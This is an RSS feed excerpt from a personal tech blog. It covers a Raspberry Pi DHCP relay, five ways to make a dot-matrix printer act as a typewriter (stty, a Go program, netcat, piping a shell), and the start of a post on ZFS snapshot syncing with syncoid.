&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5685 eth1 Out IP 192.168.0.126.67 &amp;gt; 192.168.0.53.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5760 eth1 B IP 0.0.0.0.68 &amp;gt; 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;318&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5761 eth0 Out IP 192.168.0.125.67 &amp;gt; 192.168.0.1.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff, length &lt;span style="color:#ae81ff"&gt;318&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5814 eth0 In IP 192.168.0.1.67 &amp;gt; 192.168.0.126.67: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;19:12:11.5816 eth1 Out IP 192.168.0.126.67 &amp;gt; 192.168.0.53.68: BOOTP/DHCP, Reply, length &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The advantage of this setup is that it&amp;rsquo;s transparent to downstream devices, they think they are just talking to the ISP router normally. That it just happens to sit on the path is useful if something goes wrong with the Pi &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;, I can just physically unplug it and I won&amp;rsquo;t lose anything other than my extra route.&lt;/p&gt;
&lt;p&gt;It probably would have been easier if I had set up my Pi with OpenWRT or similar, and had it act as a normal router, downstream of the ISP provided router. Well, at least this way I learnt some stuff!&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;You could also use a HTTP reverse proxy for this, but these tools usually need a bit more config than &lt;code&gt;socat&lt;/code&gt; does.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;It might be possible via the &lt;code&gt;br_netfilter&lt;/code&gt; kernel module and &lt;code&gt;net.bridge.bridge-nf-call-iptables=1&lt;/code&gt; parameter, but I couldn&amp;rsquo;t figure out how to make it work!&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;SD card failure being what I am afraid of here!&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>A typewriter five ways</title><link>https://george.honeywood.org.uk/blog/typewriter-five-ways/</link><pubDate>Tue, 21 Jan 2025 21:38:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/typewriter-five-ways/</guid><description>
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_85e5c837de12f93.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_8b24f6e12bf56655.webp 320w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_4ad8a1e8650f1678.webp 640w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_8e84fc8c6267b7eb.webp 960w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_335c3330c9cb47dc.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/oki-microline-320-elite_hu_e32e48b3872f8801.jpg'
width="1280"
height="961"
alt='An Oki Microline 320 Elite dot matrix printer taking up all my desk space'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;figcaption&gt;
My desk-dominating Oki Microline 320 Elite dot matrix printer
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The joy of the dot matrix printer is how simple the interface is &amp;ndash; it&amp;rsquo;s just a file, &lt;code&gt;/dev/usb/lp0&lt;/code&gt;.
When you write some ASCII character into this file, the printer prints it. That&amp;rsquo;s it!
Below are five increasingly complicated ways to write to this file.&lt;/p&gt;
&lt;p&gt;The obvious way to go about this is a normal shell redirection, like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ echo &lt;span style="color:#e6db74"&gt;&amp;#34;hello world!&amp;#34;&lt;/span&gt; &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat my-file.txt &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is, however, quite static: you have to decide what you want to print beforehand. I want something a bit more interactive, like a good old-fashioned &lt;a href="https://george.honeywood.org.uk/blog/olympia-traveller-de-luxe/"
&gt;mechanical typewriter&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="1-cat"&gt;1. &lt;code&gt;cat&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The simplest method I can think of is just &lt;code&gt;cat&lt;/code&gt; again.
If you invoke it without any arguments, &lt;code&gt;cat&lt;/code&gt; simply pipes &lt;code&gt;stdin&lt;/code&gt; to &lt;code&gt;stdout&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat &amp;gt; /dev/usb/lp0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The works well enough, but it&amp;rsquo;s line buffered: the text doesn&amp;rsquo;t actually print until you press enter. This is good for interactively editing your command before executing it, but not what you want for emulating a typewriter!&lt;/p&gt;
&lt;h2 id="2-stty"&gt;2. &lt;code&gt;stty&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Luckily, this line buffering can be turned off.
I spent quite a while assuming this was controlled on the application side, but it is actually up to the terminal &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.
The &lt;code&gt;stty&lt;/code&gt; command can adjust these settings &amp;mdash; &lt;code&gt;stty -icanon&lt;/code&gt; does what I want.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll use &lt;code&gt;strace&lt;/code&gt; to make this a bit clearer. On the left you can see normal terminal behaviour; on the right I&amp;rsquo;ve changed the settings. I used the &lt;code&gt;synchronize-panes&lt;/code&gt; option in &lt;code&gt;tmux&lt;/code&gt;, so both terminals get the same &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;\n&lt;/code&gt; input at the same time:&lt;/p&gt;
&lt;div id='strace'&gt;&lt;/div&gt;
&lt;script src="https://george.honeywood.org.uk/js/asciinema-player.min.js"&gt;&lt;/script&gt;
&lt;script&gt;
AsciinemaPlayer.create('\/blog\/typewriter-five-ways\/casts\/strace.cast', document.getElementById('strace'), {
controls: true ,
autoPlay: "true",
loop: true ,
startAt: "2",
});
&lt;/script&gt;
&lt;p&gt;The &lt;code&gt;write(...)&lt;/code&gt; messages come from &lt;code&gt;strace&lt;/code&gt;, and indicate when the terminal is actually sending the data off.
On the left, we only see a single &lt;code&gt;write()&lt;/code&gt; after the enter press. On the right, we get the immediate writes that we want for emulating a typewriter.&lt;/p&gt;
&lt;h2 id="3-scrolling"&gt;3. scrolling&lt;/h2&gt;
&lt;p&gt;We are getting closer.
However, there is one rather large issue with doing something like &lt;code&gt;stty -icanon &amp;amp;&amp;amp; cat &amp;gt; /dev/usb/lp0&lt;/code&gt;:&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
width="1280"
height="720"
style="aspect-ratio: 1280 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/stty-1280x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/stty-1280x720.mp4"&gt;/blog/typewriter-five-ways/images/stty-1280x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;You can&amp;rsquo;t see what you&amp;rsquo;ve written!&lt;br&gt;
While in any case you can&amp;rsquo;t backspace any physically printed text, it is a bit disconcerting to not be able to see what you&amp;rsquo;ve typed.
Ideally the paper would scroll up once you&amp;rsquo;ve stopped typing, so you can view the output and then scroll back into the printer once you resume.&lt;/p&gt;
&lt;p&gt;Luckily, dot matrix printers have a trick up their sleeves &amp;mdash; escape codes.
These work as a markup to control some aspect of the printers output, like setting the typeface to be bold.
Escape codes weren&amp;rsquo;t particularly standardized, different manufacturers used different codes.
Conveniently, my printer can emulate a few different control code standards.&lt;/p&gt;
&lt;p&gt;The escape code that is particularly useful in this case is &amp;ldquo;Reverse line feed&amp;rdquo;, which in Epson&amp;rsquo;s ESC/P language is the sequence &lt;code&gt;[]byte{27, 106, 216}&lt;/code&gt; &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;. We can use this for scrolling the paper back into the printer when the user resumes typing.&lt;/p&gt;
&lt;p&gt;I wrote a little program in Go, &lt;a href="https://github.com/GeorgeHoneywood/typist"
target="_blank" rel="noreferrer noopener"
&gt;Typist&lt;/a&gt;, that handles this scrolling behaviour for us:&lt;/p&gt;
&lt;figure&gt;
&lt;video
class="video-shortcode"
controls
width="1280"
height="720"
style="aspect-ratio: 1280 / 720" &gt;
&lt;source src="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/go-1280x720.mp4" type="video/mp4"&gt;
There should have been a video here, but your browser does not seem
to support it.
You can try visiting &lt;a href="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/go-1280x720.mp4"&gt;/blog/typewriter-five-ways/images/go-1280x720.mp4&lt;/a&gt; instead.
&lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;The main loop is pretty simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;printer&lt;/span&gt;) &lt;span style="color:#a6e22e"&gt;handleInput&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;readLoop&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;select&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pipe&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Printf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;got ctrl+c\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readLoop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// if scrolled up, scroll back down&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scrolledUp&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;scrolling back down\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scroll&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Printf&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;writing char \&amp;#34;%q\&amp;#34;, dec \&amp;#34;%d\&amp;#34;, hex \&amp;#34;%x\&amp;#34;\r\n&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;_&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;fd&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Write&lt;/span&gt;([]&lt;span style="color:#66d9ef"&gt;byte&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;char&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; panic(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;After&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;time&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Second&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scrolledUp&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fmt&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;timed out, scrolling up\r\n&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;p&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;scroll&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this snippet &lt;code&gt;p.pipe&lt;/code&gt; is a channel, which is fed characters from &lt;code&gt;stdin&lt;/code&gt; by a goroutine running in parallel.
The idea is that we use the &lt;code&gt;select&lt;/code&gt; statement to wait for either some input character to come from the channel, or for our timeout to occur.&lt;/p&gt;
&lt;p&gt;In reality the implementation is a little more complex. There is some state-machine logic for handling the multi-character escape code sequences from the terminal, like the arrow keys.&lt;/p&gt;
&lt;h2 id="4-netcat"&gt;4. &lt;code&gt;netcat&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Since all Typist does is listen on &lt;code&gt;stdin&lt;/code&gt;, it&amp;rsquo;s trivial to hook it up to &lt;code&gt;netcat&lt;/code&gt;. &lt;code&gt;netcat&lt;/code&gt; is a handy utility for receiving/transmitting data to the network.
If I run this on my desktop connected to the printer, &lt;code&gt;netcat&lt;/code&gt; will listen on TCP port 4444, and pass any data received from the tunnel into Typist:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -l &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt; | ./typist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Via &lt;a href="https://termux.dev/en/"
target="_blank" rel="noreferrer noopener"
&gt;Termux&lt;/a&gt; on my phone, I can use &lt;code&gt;stty&lt;/code&gt; as before and have the same typewriter experience, over WiFi:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;phone$ stty -icanon &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; nc desktop.lan &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="5-tty"&gt;5. &lt;code&gt;tty&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;With Typist we now have an experience pretty similar to a &lt;a href="https://en.wikipedia.org/wiki/Teleprinter"
target="_blank" rel="noreferrer noopener"
&gt;teletype (&lt;code&gt;tty&lt;/code&gt;)&lt;/a&gt; used for output on early computers.
For the authentic 1960s Unix experience we can pipe the output of a shell into Typist, like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ TERM&lt;span style="color:#f92672"&gt;=&lt;/span&gt;lp /bin/sh -i 2&amp;gt;&amp;amp;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; | ./typist
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_a0212d6d1e46d3a4.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_2969756a8e808cf1.webp 320w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_3124b6d74ec631cd.webp 640w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_fffea542df44bacd.webp 960w, https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_4f2c5adba1c603c7.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/typewriter-five-ways/images/terminal_hu_2c10a14001c09f9d.jpg'
width="1280"
height="961"
loading="lazy"
alt='Output from running the command above'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;Setting the &lt;code&gt;TERM=lp&lt;/code&gt; environment variable is important. It prevents the shell from using fancy control characters that the printer can&amp;rsquo;t render, like the ANSI colouring codes. &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; redirects both the &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; of the shell into Typist &lt;sup id="fnref:3"&gt;&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref"&gt;3&lt;/a&gt;&lt;/sup&gt;. If I was feeling brave I could learn how to use &lt;code&gt;ed&lt;/code&gt; and do some proper line oriented file editing!&lt;/p&gt;
&lt;p&gt;This was inspired by a &lt;a href="https://drewdevault.com/2019/10/30/Line-printer-shell-hack.html"
target="_blank" rel="noreferrer noopener"
&gt;blog post from Drew DeVault&lt;/a&gt; back in 2019. I&amp;rsquo;ve been meaning to do this for 6 years!&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;While most CLI programs don&amp;rsquo;t need to, any app can change these terminal settings, the same way &lt;code&gt;stty&lt;/code&gt; does. Interactive TUIs, such as &lt;code&gt;nano&lt;/code&gt;, will need to change these settings. Line buffering doesn&amp;rsquo;t make sense for a text editor!&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;See &lt;a href="https://whitefiles.org/dta/pgs/c03c_prntr_cds.pdf"
target="_blank" rel="noreferrer noopener"
&gt;here&lt;/a&gt; for a handy reference on the rest of the control codes.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;Even though I&amp;rsquo;ve regularly been using the Linux command line for some ten years, I still have to look &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; up every time.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>ZFS snapshots and how to sync them</title><link>https://george.honeywood.org.uk/blog/zfs/</link><pubDate>Sat, 07 Dec 2024 20:50:25 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/zfs/</guid><description>&lt;p&gt;I am quite a big fan of ZFS. One of its useful features is snapshotting, allowing you to record the state of your filesystem at a specific point in time. This means if you later change or delete files, you will be able to roll-back to this previous snapshot, or restore individual files. So far, so normal &amp;mdash; even NTFS has a kind of snapshot/restore capability.&lt;/p&gt;
&lt;p&gt;What makes ZFS&amp;rsquo;s snapshots even more useful is what they enable in terms of filesystem synchronization. My use case is that I have 10 TB of data at a remote site that I want to back up to my local desktop. I am constrained by a slow internet connection, so I need a solution that doesn&amp;rsquo;t use much bandwidth.&lt;/p&gt;
&lt;p&gt;What I can do is to have a matching snapshot pair on both sides, then take another snapshot on the sending end. ZFS can then find which blocks have changed on the sending side, and send and replay the differences to the receiving side. Unfortunately you still have to do a single initial replication on the whole dataset &amp;mdash; you can&amp;rsquo;t get around that!&lt;/p&gt;
&lt;p&gt;In my case the initial replication was going to take more than a week over the slow link; I ended up &lt;a href="https://en.wikipedia.org/wiki/Sneakernet"
target="_blank" rel="noreferrer noopener"
&gt;sneakernetting&lt;/a&gt; the data between sites to speed up the process. While you can achieve incremental results with a tool like &lt;code&gt;rsync&lt;/code&gt;, the process isn&amp;rsquo;t as efficient, as it has to check to see if each file has been updated.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/jimsalterjrs/sanoid#syncoid"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;syncoid&lt;/code&gt;&lt;/a&gt; is the tool I use to automate the &lt;code&gt;zfs snapshot&lt;/code&gt;, &lt;code&gt;zfs send | receive&lt;/code&gt; process.
I run a command like this to pull all the changes since the previous run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root@desktop:~# syncoid --recursive --skip-parent root@192.168.1.10:tank tank-offsite
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here &lt;code&gt;tank&lt;/code&gt; is a pool on the remote machine at &lt;code&gt;192.168.1.10&lt;/code&gt;, and &lt;code&gt;tank-offsite&lt;/code&gt; is mounted on the local desktop.
I don&amp;rsquo;t use the desktop machine that runs this backup consistently, it suspended most of the time, so I needed a way to schedule this job regularly.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;systemd&lt;/code&gt; to the rescue! I created a service to run the &lt;code&gt;syncoid&lt;/code&gt; command, and a timer to run the service on a schedule.
The magic here is the &lt;a href="https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html#WakeSystem="
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;WakeSystem=&lt;/code&gt;&lt;/a&gt; timer option &amp;mdash; which resumes my desktop from suspend when the timer triggers.
Here is my config &amp;mdash; it is pleasantly simple:&lt;/p&gt;
